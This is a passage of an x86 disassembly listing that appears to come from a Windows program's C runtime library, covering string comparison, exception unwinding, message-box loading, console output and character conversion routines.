		call	sub_40DCD8
		add	esp, 14h
		cmp	[ebp+var_8], 0
		jz	short loc_419493
		mov	eax, [ebp+var_C]
		and	dword ptr [eax+70h], 0FFFFFFFDh


loc_419493:				; CODE XREF: sub_419453+37j
		mov	eax, 7FFFFFFFh
		jmp	loc_41966A
; ---------------------------------------------------------------------------


loc_41949D:				; CODE XREF: sub_419453+19j
		push	ebx
		mov	ebx, [ebp+arg_4]
		cmp	ebx, esi
		jnz	short loc_4194D4
		call	sub_40F79E
		push	esi
		push	esi
		push	esi
		push	esi
		push	esi
		mov	dword ptr [eax], 16h
		call	sub_40DCD8
		add	esp, 14h
		cmp	[ebp+var_8], 0
		jz	short loc_4194CA
		mov	eax, [ebp+var_C]
		and	dword ptr [eax+70h], 0FFFFFFFDh


loc_4194CA:				; CODE XREF: sub_419453+6Ej
		mov	eax, 7FFFFFFFh
		jmp	loc_419669
; ---------------------------------------------------------------------------


loc_4194D4:				; CODE XREF: sub_419453+50j
		mov	eax, [ebp+var_10]
		cmp	[eax+8], esi
		jnz	short loc_419500
		lea	eax, [ebp+var_14]
		push	eax
		push	ebx
		push	edx
		call	sub_41A2A3
		add	esp, 0Ch
		cmp	[ebp+var_8], 0
		jz	loc_419669
		mov	ecx, [ebp+var_C]
		and	dword ptr [ecx+70h], 0FFFFFFFDh
		jmp	loc_419669
; ---------------------------------------------------------------------------


loc_419500:				; CODE XREF: sub_419453+87j
		push	edi
		mov	edi, 200h


loc_419506:				; CODE XREF: sub_419453+1CDj
		movzx	cx, byte ptr [edx]
		movzx	ecx, cx
		movzx	esi, cl
		inc	edx
		test	byte ptr [esi+eax+1Dh],	4
		mov	[ebp+arg_0], edx
		jz	short loc_419574
		cmp	byte ptr [edx],	0
		jnz	short loc_419524
		xor	esi, esi
		jmp	short loc_419590
; ---------------------------------------------------------------------------


loc_419524:				; CODE XREF: sub_419453+CBj
		push	1
		push	dword ptr [eax+4]
		lea	ecx, [ebp+var_4]
		push	2
		push	ecx
		push	2
		dec	edx
		push	edx
		push	edi
		push	dword ptr [eax+0Ch]
		lea	eax, [ebp+var_14]
		push	eax
		call	sub_413945
		add	esp, 24h
		cmp	eax, 1
		jnz	short loc_41954F
		movzx	ax, [ebp+var_4]
		jmp	short loc_419569
; ---------------------------------------------------------------------------


loc_41954F:				; CODE XREF: sub_419453+F3j
		cmp	eax, 2
		jnz	loc_419625
		movzx	ax, [ebp+var_4]
		movzx	cx, [ebp+var_3]
		shl	ax, 8
		add	ax, cx


loc_419569:				; CODE XREF: sub_419453+FAj
		inc	[ebp+arg_0]
		movzx	esi, ax
		mov	eax, [ebp+var_10]
		jmp	short loc_419590
; ---------------------------------------------------------------------------


loc_419574:				; CODE XREF: sub_419453+C6j
		movzx	edx, cx
		lea	ecx, [edx+eax]
		test	byte ptr [ecx+1Dh], 10h
		jz	short loc_41958D
		movzx	cx, byte ptr [ecx+11Dh]
		movzx	esi, cx
		jmp	short loc_419590
; ---------------------------------------------------------------------------


loc_41958D:				; CODE XREF: sub_419453+12Bj
		movzx	esi, dx


loc_419590:				; CODE XREF: sub_419453+CFj
					; sub_419453+11Fj ...
		movzx	cx, byte ptr [ebx]
		movzx	ecx, cx
		movzx	edx, cl
		inc	ebx
		test	byte ptr [edx+eax+1Dh],	4
		jz	short loc_4195F7
		cmp	byte ptr [ebx],	0
		jnz	short loc_4195AB
		xor	ecx, ecx
		jmp	short loc_419613
; ---------------------------------------------------------------------------


loc_4195AB:				; CODE XREF: sub_419453+152j
		push	1
		push	dword ptr [eax+4]
		lea	ecx, [ebp+var_4]
		push	2
		push	ecx
		push	2
		lea	ecx, [ebx-1]
		push	ecx
		push	edi
		push	dword ptr [eax+0Ch]
		lea	eax, [ebp+var_14]
		push	eax
		call	sub_413945
		add	esp, 24h
		cmp	eax, 1
		jnz	short loc_4195D8
		movzx	ax, [ebp+var_4]
		jmp	short loc_4195EE
; ---------------------------------------------------------------------------


loc_4195D8:				; CODE XREF: sub_419453+17Cj
		cmp	eax, 2
		jnz	short loc_419625
		movzx	ax, [ebp+var_4]
		movzx	cx, [ebp+var_3]
		shl	ax, 8
		add	ax, cx


loc_4195EE:				; CODE XREF: sub_419453+183j
		movzx	ecx, ax
		mov	eax, [ebp+var_10]
		inc	ebx
		jmp	short loc_419613
; ---------------------------------------------------------------------------


loc_4195F7:				; CODE XREF: sub_419453+14Dj
		movzx	edx, cx
		lea	ecx, [edx+eax]
		test	byte ptr [ecx+1Dh], 10h
		jz	short loc_419610
		movzx	cx, byte ptr [ecx+11Dh]
		movzx	ecx, cx
		jmp	short loc_419613
; ---------------------------------------------------------------------------


loc_419610:				; CODE XREF: sub_419453+1AEj
		movzx	ecx, dx


loc_419613:				; CODE XREF: sub_419453+156j
					; sub_419453+1A2j ...
		cmp	cx, si
		jnz	short loc_419644
		test	si, si
		jz	short loc_419659
		mov	edx, [ebp+arg_0]
		jmp	loc_419506
; ---------------------------------------------------------------------------


loc_419625:				; CODE XREF: sub_419453+FFj
					; sub_419453+188j
		call	sub_40F79E
		mov	dword ptr [eax], 16h
		cmp	[ebp+var_8], 0
		jz	short loc_41963D
		mov	eax, [ebp+var_C]
		and	dword ptr [eax+70h], 0FFFFFFFDh


loc_41963D:				; CODE XREF: sub_419453+1E1j
		mov	eax, 7FFFFFFFh
		jmp	short loc_419668
; ---------------------------------------------------------------------------


loc_419644:				; CODE XREF: sub_419453+1C3j
		sbb	eax, eax
		and	eax, 2
		dec	eax
		cmp	[ebp+var_8], 0
		jz	short loc_419668
		mov	ecx, [ebp+var_C]
		and	dword ptr [ecx+70h], 0FFFFFFFDh
		jmp	short loc_419668
; ---------------------------------------------------------------------------


loc_419659:				; CODE XREF: sub_419453+1C8j
		cmp	[ebp+var_8], 0
		jz	short loc_419666
		mov	eax, [ebp+var_C]
		and	dword ptr [eax+70h], 0FFFFFFFDh


loc_419666:				; CODE XREF: sub_419453+20Aj
		xor	eax, eax


loc_419668:				; CODE XREF: sub_419453+1EFj
					; sub_419453+1FBj ...
		pop	edi


loc_419669:				; CODE XREF: sub_419453+7Cj
					; sub_419453+9Bj ...
		pop	ebx


loc_41966A:				; CODE XREF: sub_419453+45j
		pop	esi
		leave
		retn
sub_419453	endp


; =============== S U B	R O U T	I N E =======================================



sub_41966D	proc near		; CODE XREF: sub_413BFD+1E6p
					; sub_413BFD+203p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	0
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	sub_419453
		add	esp, 0Ch
		retn
sub_41966D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419680	proc near		; CODE XREF: sub_4197E9+Ep

var_10		= byte ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	ebx
		xor	ebx, ebx
		cmp	[ebp+arg_8], ebx
		jnz	short loc_419695
		xor	eax, eax
		jmp	loc_4197D2
; ---------------------------------------------------------------------------


loc_419695:				; CODE XREF: sub_419680+Cj
		push	edi
		push	[ebp+arg_C]
		lea	ecx, [ebp+var_10]
		call	sub_40F7E2
		mov	edi, [ebp+var_C]
		cmp	[edi+8], ebx
		jnz	short loc_4196CF
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_418956
		add	esp, 0Ch
		cmp	[ebp+var_4], bl
		jz	loc_4197D1
		mov	ecx, [ebp+var_8]
		and	dword ptr [ecx+70h], 0FFFFFFFDh
		jmp	loc_4197D1
; ---------------------------------------------------------------------------


loc_4196CF:				; CODE XREF: sub_419680+27j
		cmp	[ebp+arg_0], ebx
		jnz	short loc_419702
		call	sub_40F79E
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		mov	dword ptr [eax], 16h
		call	sub_40DCD8
		add	esp, 14h
		cmp	[ebp+var_4], bl
		jz	short loc_4196F8
		mov	eax, [ebp+var_8]
		and	dword ptr [eax+70h], 0FFFFFFFDh


loc_4196F8:				; CODE XREF: sub_419680+6Fj
		mov	eax, 7FFFFFFFh
		jmp	loc_4197D1
; ---------------------------------------------------------------------------


loc_419702:				; CODE XREF: sub_419680+52j
		push	esi
		mov	esi, [ebp+arg_4]
		cmp	esi, ebx
		jnz	short loc_419738
		call	sub_40F79E
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		mov	dword ptr [eax], 16h
		call	sub_40DCD8
		add	esp, 14h
		cmp	[ebp+var_4], bl
		jz	short loc_41972E
		mov	eax, [ebp+var_8]
		and	dword ptr [eax+70h], 0FFFFFFFDh


loc_41972E:				; CODE XREF: sub_419680+A5j
		mov	eax, 7FFFFFFFh
		jmp	loc_4197D0
; ---------------------------------------------------------------------------


loc_419738:				; CODE XREF: sub_419680+88j
					; sub_419680+13Cj
		mov	eax, [ebp+arg_0]
		movzx	cx, byte ptr [eax]
		dec	[ebp+arg_8]
		movzx	ecx, cx
		movzx	edx, cl
		inc	eax
		test	byte ptr [edx+edi+1Dh],	4
		mov	[ebp+arg_0], eax
		jz	short loc_41977F
		cmp	[ebp+arg_8], ebx
		jnz	short loc_419769
		movzx	eax, byte ptr [esi]
		xor	ecx, ecx
		test	byte ptr [eax+edi+1Dh],	4
		jnz	short loc_4197C2
		movzx	eax, ax
		jmp	short loc_4197AF
; ---------------------------------------------------------------------------


loc_419769:				; CODE XREF: sub_419680+D6j
		mov	al, [eax]
		cmp	al, bl
		jnz	short loc_419773
		xor	ecx, ecx
		jmp	short loc_41977F
; ---------------------------------------------------------------------------


loc_419773:				; CODE XREF: sub_419680+EDj
		xor	edx, edx
		inc	[ebp+arg_0]
		mov	dh, cl
		mov	dl, al
		movzx	ecx, dx


loc_41977F:				; CODE XREF: sub_419680+D1j
					; sub_419680+F1j
		movzx	ax, byte ptr [esi]
		movzx	eax, ax
		movzx	edx, al
		inc	esi
		test	byte ptr [edx+edi+1Dh],	4
		jz	short loc_4197AF
		cmp	[ebp+arg_8], ebx
		jnz	short loc_41979A


loc_419796:				; CODE XREF: sub_419680+121j
		xor	eax, eax
		jmp	short loc_4197AF
; ---------------------------------------------------------------------------


loc_41979A:				; CODE XREF: sub_419680+114j
		mov	dl, [esi]
		dec	[ebp+arg_8]
		cmp	dl, bl
		jz	short loc_419796
		xor	ebx, ebx
		mov	bh, al
		inc	esi
		mov	bl, dl
		movzx	eax, bx
		xor	ebx, ebx


loc_4197AF:				; CODE XREF: sub_419680+E7j
					; sub_419680+10Fj ...
		cmp	ax, cx
		jnz	short loc_4197D5
		cmp	cx, bx
		jz	short loc_4197C2
		cmp	[ebp+arg_8], ebx
		jnz	loc_419738


loc_4197C2:				; CODE XREF: sub_419680+E2j
					; sub_419680+137j
		cmp	[ebp+var_4], bl
		jz	short loc_4197CE
		mov	eax, [ebp+var_8]
		and	dword ptr [eax+70h], 0FFFFFFFDh


loc_4197CE:				; CODE XREF: sub_419680+145j
		xor	eax, eax


loc_4197D0:				; CODE XREF: sub_419680+B3j
					; sub_419680+15Ej ...
		pop	esi


loc_4197D1:				; CODE XREF: sub_419680+3Dj
					; sub_419680+4Aj ...
		pop	edi


loc_4197D2:				; CODE XREF: sub_419680+10j
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_4197D5:				; CODE XREF: sub_419680+132j
		sbb	eax, eax
		and	eax, 2
		dec	eax
		cmp	[ebp+var_4], bl
		jz	short loc_4197D0
		mov	ecx, [ebp+var_8]
		and	dword ptr [ecx+70h], 0FFFFFFFDh
		jmp	short loc_4197D0
sub_419680	endp


; =============== S U B	R O U T	I N E =======================================



sub_4197E9	proc near		; CODE XREF: sub_413BFD+1D1p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	0
		push	[esp+4+arg_8]
		push	[esp+8+arg_4]
		push	[esp+0Ch+arg_0]
		call	sub_419680
		add	esp, 10h
		retn
sub_4197E9	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		push	ebp
		push	0
		push	0
		push	offset loc_419818
		push	dword ptr [ebp+8]
		call	sub_41AE3E	; RtlUnwind


loc_419818:				; DATA XREF: .vty:0041980Bo
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_419820:				; DATA XREF: sub_419865+Bo
					; .vty:004198F2o
		mov	ecx, [esp+4]
		test	dword ptr [ecx+4], 6
		mov	eax, 1
		jz	short locret_419864
		mov	eax, [esp+14h]
		mov	ecx, [eax-4]
		xor	ecx, eax
		call	sub_410BCD
		push	ebp
		mov	ebp, [eax+10h]
		mov	edx, [eax+28h]
		push	edx
		mov	edx, [eax+24h]
		push	edx
		call	sub_419865
		add	esp, 8
		pop	ebp
		mov	eax, [esp+8]
		mov	edx, [esp+10h]
		mov	[edx], eax
		mov	eax, 3

locret_419864:				; CODE XREF: .vty:00419830j
		retn

; =============== S U B	R O U T	I N E =======================================



sub_419865	proc near		; CODE XREF: .vty:0041984Cp

var_20		= dword	ptr -20h
var_18		= dword	ptr -18h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		push	esi
		push	edi
		mov	eax, [esp+0Ch+arg_0]
		push	ebp
		push	eax
		push	0FFFFFFFEh
		push	offset loc_419820
		push	large dword ptr	fs:0
		mov	eax, dword_4231C4
		xor	eax, esp
		push	eax
		lea	eax, [esp+24h+var_20]
		mov	large fs:0, eax


loc_41988E:				; CODE XREF: sub_419865:loc_4198D5j
		mov	eax, [esp+24h+arg_0]
		mov	ebx, [eax+8]
		mov	esi, [eax+0Ch]
		cmp	esi, 0FFFFFFFFh
		jz	short loc_4198D7
		cmp	[esp+24h+arg_4], 0FFFFFFFFh
		jz	short loc_4198AA
		cmp	esi, [esp+24h+arg_4]
		jbe	short loc_4198D7


loc_4198AA:				; CODE XREF: sub_419865+3Dj
		lea	esi, [esi+esi*2]
		mov	ecx, [ebx+esi*4]
		mov	[esp+24h+var_18], ecx
		mov	[eax+0Ch], ecx
		cmp	dword ptr [ebx+esi*4+4], 0
		jnz	short loc_4198D5
		push	101h
		mov	eax, [ebx+esi*4+8]
		call	sub_419915
		mov	eax, [ebx+esi*4+8]
		call	sub_419934


loc_4198D5:				; CODE XREF: sub_419865+57j
		jmp	short loc_41988E
; ---------------------------------------------------------------------------


loc_4198D7:				; CODE XREF: sub_419865+36j
					; sub_419865+43j
		mov	ecx, [esp+24h+var_20]
		mov	large fs:0, ecx
		add	esp, 18h
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_419865	endp

; ---------------------------------------------------------------------------
		xor	eax, eax
		mov	ecx, large fs:0
		cmp	dword ptr [ecx+4], offset loc_419820
		jnz	short locret_41990B
		mov	edx, [ecx+0Ch]
		mov	edx, [edx+0Ch]
		cmp	[ecx+8], edx
		jnz	short locret_41990B
		mov	eax, 1

locret_41990B:				; CODE XREF: .vty:004198F9j
					; .vty:00419904j
		retn

; =============== S U B	R O U T	I N E =======================================



sub_41990C	proc near		; CODE XREF: sub_416AE0+1Ep
					; sub_416AE0+40p
		push	ebx
		push	ecx
		mov	ebx, offset dword_423F20
		jmp	short loc_419920
sub_41990C	endp


; =============== S U B	R O U T	I N E =======================================



sub_419915	proc near		; CODE XREF: sub_413FC8+6Ep
					; sub_412800+18D9p ...

arg_0		= dword	ptr  4

		push	ebx
		push	ecx
		mov	ebx, offset dword_423F20
		mov	ecx, [esp+8+arg_0]


loc_419920:				; CODE XREF: sub_41990C+7j
		mov	[ebx+8], ecx
		mov	[ebx+4], eax
		mov	[ebx+0Ch], ebp
		push	ebp
		push	ecx
		push	eax
		pop	eax
		pop	ecx
		pop	ebp
		pop	ecx
		pop	ebx
		retn	4
sub_419915	endp


; =============== S U B	R O U T	I N E =======================================



sub_419934	proc near		; CODE XREF: sub_413FC8+7Bp
					; sub_419865+6Bp
		call	eax
		retn
sub_419934	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419937	proc near		; CODE XREF: sub_41422C+15Dp

var_30		= dword	ptr -30h
var_20		= byte ptr -20h
var_18		= byte ptr -18h
var_14		= byte ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		push	ebx
		push	esi
		push	edi
		call	sub_411DB6
		xor	ebx, ebx
		cmp	dword_424D78, ebx
		mov	[ebp+var_10], eax
		mov	[ebp+var_4], ebx
		mov	[ebp+var_8], ebx
		mov	[ebp+var_C], ebx
		jnz	loc_419A0C
		push	offset aUser32_dll ; "USER32.DLL"
		call	dword_41C044	; LoadLibraryA
		mov	edi, eax
		cmp	edi, ebx
		jnz	short loc_419977


loc_419970:				; CODE XREF: sub_419937+50j
		xor	eax, eax
		jmp	loc_419AD0
; ---------------------------------------------------------------------------


loc_419977:				; CODE XREF: sub_419937+37j
		mov	esi, dword_41C0AC
		push	offset aMessageboxa ; "MessageBoxA"
		push	edi
		call	esi	; GetProcAddress
		cmp	eax, ebx
		jz	short loc_419970
		push	eax
		call	sub_411D53
		mov	[esp+30h+var_30], offset aGetactivewindo ; "GetActiveWindow"
		push	edi
		mov	dword_424D78, eax
		call	esi	; GetProcAddress
		push	eax
		call	sub_411D53
		mov	[esp+30h+var_30], offset aGetlastactivep ; "GetLastActivePopup"
		push	edi
		mov	dword_424D7C, eax
		call	esi	; GetProcAddress
		push	eax
		call	sub_411D53
		mov	dword_424D80, eax
		lea	eax, [ebp+var_8]
		push	eax
		call	sub_412542
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	short loc_4199DA
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		call	sub_40DBDC
		add	esp, 14h


loc_4199DA:				; CODE XREF: sub_419937+94j
		cmp	[ebp+var_8], 2
		jnz	short loc_419A0C
		push	offset aGetuserobjecti ; "GetUserObjectInformationA"
		push	edi
		call	esi	; GetProcAddress
		push	eax
		call	sub_411D53
		cmp	eax, ebx
		pop	ecx
		mov	dword_424D88, eax
		jz	short loc_419A0C
		push	offset aGetprocesswind ; "GetProcessWindowStation"
		push	edi
		call	esi	; GetProcAddress
		push	eax
		call	sub_411D53
		pop	ecx
		mov	dword_424D84, eax


loc_419A0C:				; CODE XREF: sub_419937+22j
					; sub_419937+A7j ...
		mov	eax, dword_424D84
		mov	esi, [ebp+var_10]
		cmp	eax, esi
		jz	short loc_419A85
		cmp	dword_424D88, esi
		jz	short loc_419A85
		push	eax
		call	sub_411DBF
		pop	ecx
		call	eax	; GetProcessWindowStation
		cmp	eax, ebx
		jz	short loc_419A52
		lea	ecx, [ebp+var_14]
		push	ecx
		push	0Ch
		lea	ecx, [ebp+var_20]
		push	ecx
		push	1
		push	eax
		push	dword_424D88
		call	sub_411DBF
		pop	ecx
		call	eax	; GetProcessWindowStation
		test	eax, eax
		jz	short loc_419A52
		test	[ebp+var_18], 1
		jnz	short loc_419A85


loc_419A52:				; CODE XREF: sub_419937+F4j
					; sub_419937+113j
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_412579
		test	eax, eax
		pop	ecx
		jz	short loc_419A6D
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		call	sub_40DBDC
		add	esp, 14h


loc_419A6D:				; CODE XREF: sub_419937+127j
		cmp	[ebp+var_C], 4
		jb	short loc_419A7C
		or	[ebp+arg_8], 200000h
		jmp	short loc_419AB6
; ---------------------------------------------------------------------------


loc_419A7C:				; CODE XREF: sub_419937+13Aj
		or	[ebp+arg_8], 40000h
		jmp	short loc_419AB6
; ---------------------------------------------------------------------------


loc_419A85:				; CODE XREF: sub_419937+DFj
					; sub_419937+E7j ...
		mov	eax, dword_424D7C
		cmp	eax, esi
		jz	short loc_419AB6
		push	eax
		call	sub_411DBF
		pop	ecx
		call	eax	; MessageBoxA
		cmp	eax, ebx
		mov	[ebp+var_4], eax
		jz	short loc_419AB6
		mov	eax, dword_424D80
		cmp	eax, esi
		jz	short loc_419AB6
		push	[ebp+var_4]
		push	eax
		call	sub_411DBF
		pop	ecx
		call	eax	; MessageBoxA
		mov	[ebp+var_4], eax


loc_419AB6:				; CODE XREF: sub_419937+143j
					; sub_419937+14Cj ...
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	[ebp+var_4]
		push	dword_424D78
		call	sub_411DBF
		pop	ecx
		call	eax	; MessageBoxA


loc_419AD0:				; CODE XREF: sub_419937+3Bj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_419937	endp


; =============== S U B	R O U T	I N E =======================================



sub_419AD5	proc near		; CODE XREF: sub_41422C+27p
					; sub_41422C+38p ...

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		push	esi
		xor	esi, esi
		cmp	ecx, esi
		jl	short loc_419AFE
		cmp	ecx, 2
		jle	short loc_419AF1
		cmp	ecx, 3
		jnz	short loc_419AFE
		mov	eax, dword_42439C
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_419AF1:				; CODE XREF: sub_419AD5+Ej
		mov	eax, dword_42439C
		mov	dword_42439C, ecx
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_419AFE:				; CODE XREF: sub_419AD5+9j
					; sub_419AD5+13j
		call	sub_40F79E
		push	esi
		push	esi
		push	esi
		push	esi
		push	esi
		mov	dword ptr [eax], 16h
		call	sub_40DCD8
		add	esp, 14h
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
sub_419AD5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419B1B	proc near		; CODE XREF: sub_41440F+2A1p
					; sub_41440F+2C1p

var_10		= byte ptr -10h
var_C		= byte ptr -0Ch
var_4		= dword	ptr -4
arg_0		= word ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		mov	eax, dword_4231C4
		xor	eax, ebp
		mov	[ebp+var_4], eax
		push	esi
		xor	esi, esi
		cmp	dword_423F30, esi
		jz	short loc_419B84
		cmp	dword_424164, 0FFFFFFFEh
		jnz	short loc_419B44
		call	sub_41ACB3


loc_419B44:				; CODE XREF: sub_419B1B+22j
		mov	eax, dword_424164
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_419B54


loc_419B4E:				; CODE XREF: sub_419B1B+56j
					; sub_419B1B+61j ...
		or	ax, 0FFFFh
		jmp	short loc_419BC4
; ---------------------------------------------------------------------------


loc_419B54:				; CODE XREF: sub_419B1B+31j
		push	esi
		lea	ecx, [ebp+var_10]
		push	ecx
		push	1
		lea	ecx, [ebp+arg_0]
		push	ecx
		push	eax
		call	dword_41C02C	; WriteConsoleW
		test	eax, eax
		jnz	short loc_419BD1
		cmp	dword_423F30, 2
		jnz	short loc_419B4E
		call	dword_41C0A4	; RtlGetLastWin32Error
		cmp	eax, 78h
		jnz	short loc_419B4E
		mov	dword_423F30, esi


loc_419B84:				; CODE XREF: sub_419B1B+19j
		push	esi
		push	esi
		push	5
		lea	eax, [ebp+var_C]
		push	eax
		push	1
		lea	eax, [ebp+arg_0]
		push	eax
		push	esi
		call	dword_41C028	; GetConsoleOutputCP
		push	eax
		call	dword_41C170	; WideCharToMultiByte
		mov	ecx, dword_424164
		cmp	ecx, 0FFFFFFFFh
		jz	short loc_419B4E
		push	esi
		lea	edx, [ebp+var_10]
		push	edx
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		push	ecx
		call	dword_41C030	; WriteConsoleA
		test	eax, eax
		jz	short loc_419B4E


loc_419BC0:				; CODE XREF: sub_419B1B+C0j
		mov	ax, [ebp+arg_0]


loc_419BC4:				; CODE XREF: sub_419B1B+37j
		mov	ecx, [ebp+var_4]
		xor	ecx, ebp
		pop	esi
		call	sub_410BCD
		leave
		retn
; ---------------------------------------------------------------------------


loc_419BD1:				; CODE XREF: sub_419B1B+4Dj
		mov	dword_423F30, 1
		jmp	short loc_419BC0
sub_419B1B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419BDD	proc near		; CODE XREF: sub_419CF0+Ep

var_10		= dword	ptr -10h
var_8		= dword	ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	ebx
		push	esi
		mov	esi, [ebp+arg_4]
		xor	ebx, ebx
		cmp	esi, ebx
		jz	short loc_419C01
		cmp	[ebp+arg_8], ebx
		jz	short loc_419C01
		cmp	[esi], bl
		jnz	short loc_419C07
		mov	eax, [ebp+arg_0]
		cmp	eax, ebx
		jz	short loc_419C01
		mov	[eax], bx


loc_419C01:				; CODE XREF: sub_419BDD+Fj
					; sub_419BDD+14j ...
		xor	eax, eax


loc_419C03:				; CODE XREF: sub_419BDD+5Aj
					; sub_419BDD+BBj ...
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_419C07:				; CODE XREF: sub_419BDD+18j
		push	[ebp+arg_C]
		lea	ecx, [ebp+var_10]
		call	sub_40F7E2
		mov	eax, [ebp+var_10]
		cmp	[eax+14h], ebx
		jnz	short loc_419C39
		mov	eax, [ebp+arg_0]
		cmp	eax, ebx
		jz	short loc_419C28
		movzx	cx, byte ptr [esi]
		mov	[eax], cx


loc_419C28:				; CODE XREF: sub_419BDD+42j
					; sub_419BDD+10Bj
		cmp	[ebp+var_4], bl
		jz	short loc_419C34
		mov	eax, [ebp+var_8]
		and	dword ptr [eax+70h], 0FFFFFFFDh


loc_419C34:				; CODE XREF: sub_419BDD+4Ej
		xor	eax, eax
		inc	eax
		jmp	short loc_419C03
; ---------------------------------------------------------------------------


loc_419C39:				; CODE XREF: sub_419BDD+3Bj
		lea	eax, [ebp+var_10]
		push	eax
		movzx	eax, byte ptr [esi]
		push	eax
		call	sub_413988
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	short loc_419CC9
		mov	eax, [ebp+var_10]
		mov	ecx, [eax+0ACh]
		cmp	ecx, 1
		jle	short loc_419C7F
		cmp	[ebp+arg_8], ecx
		jl	short loc_419C7F
		xor	edx, edx
		cmp	[ebp+arg_0], ebx
		setnz	dl
		push	edx
		push	[ebp+arg_0]
		push	ecx
		push	esi
		push	9
		push	dword ptr [eax+4]
		call	dword_41C174	; MultiByteToWideChar
		test	eax, eax
		mov	eax, [ebp+var_10]
		jnz	short loc_419C8F


loc_419C7F:				; CODE XREF: sub_419BDD+7Bj
					; sub_419BDD+80j
		mov	ecx, [ebp+arg_8]
		cmp	ecx, [eax+0ACh]
		jb	short loc_419CAA
		cmp	[esi+1], bl
		jz	short loc_419CAA


loc_419C8F:				; CODE XREF: sub_419BDD+A0j
		cmp	[ebp+var_4], bl
		mov	eax, [eax+0ACh]
		jz	loc_419C03
		mov	ecx, [ebp+var_8]
		and	dword ptr [ecx+70h], 0FFFFFFFDh
		jmp	loc_419C03
; ---------------------------------------------------------------------------


loc_419CAA:				; CODE XREF: sub_419BDD+ABj
					; sub_419BDD+B0j ...
		call	sub_40F79E
		mov	dword ptr [eax], 2Ah
		cmp	[ebp+var_4], bl
		jz	short loc_419CC1
		mov	eax, [ebp+var_8]
		and	dword ptr [eax+70h], 0FFFFFFFDh


loc_419CC1:				; CODE XREF: sub_419BDD+DBj
		or	eax, 0FFFFFFFFh
		jmp	loc_419C03
; ---------------------------------------------------------------------------


loc_419CC9:				; CODE XREF: sub_419BDD+6Dj
		xor	eax, eax
		cmp	[ebp+arg_0], ebx
		setnz	al
		push	eax
		push	[ebp+arg_0]
		mov	eax, [ebp+var_10]
		push	1
		push	esi
		push	9
		push	dword ptr [eax+4]
		call	dword_41C174	; MultiByteToWideChar
		test	eax, eax
		jnz	loc_419C28
		jmp	short loc_419CAA
sub_419BDD	endp


; =============== S U B	R O U T	I N E =======================================



sub_419CF0	proc near		; CODE XREF: sub_41440F+18Ep
					; sub_41440F+1BCp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	0
		push	[esp+4+arg_8]
		push	[esp+8+arg_4]
		push	[esp+0Ch+arg_0]
		call	sub_419BDD
		add	esp, 10h
		retn
sub_419CF0	endp


; =============== S U B	R O U T	I N E =======================================



sub_419D07	proc near		; CODE XREF: sub_418D2B+2BBp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		test	eax, eax
		push	esi
		push	edi
		jl	short loc_419D6B
		cmp	eax, dword_424EC8
		jnb	short loc_419D6B
		mov	esi, eax
		and	esi, 1Fh
		imul	esi, 28h
		mov	ecx, eax
		sar	ecx, 5
		lea	edi, ds:424EE0h[ecx*4]
		mov	ecx, [edi]
		cmp	dword ptr [esi+ecx], 0FFFFFFFFh
		jnz	short loc_419D6B
		cmp	dword_4231A0, 1
		push	ebx
		mov	ebx, [esp+0Ch+arg_4]
		jnz	short loc_419D61
		sub	eax, 0
		jz	short loc_419D58
		dec	eax
		jz	short loc_419D53
		dec	eax
		jnz	short loc_419D61
		push	ebx
		push	0FFFFFFF4h
		jmp	short loc_419D5B
; ---------------------------------------------------------------------------


loc_419D53:				; CODE XREF: sub_419D07+42j
		push	ebx
		push	0FFFFFFF5h
		jmp	short loc_419D5B
; ---------------------------------------------------------------------------


loc_419D58:				; CODE XREF: sub_419D07+3Fj
		push	ebx
		push	0FFFFFFF6h


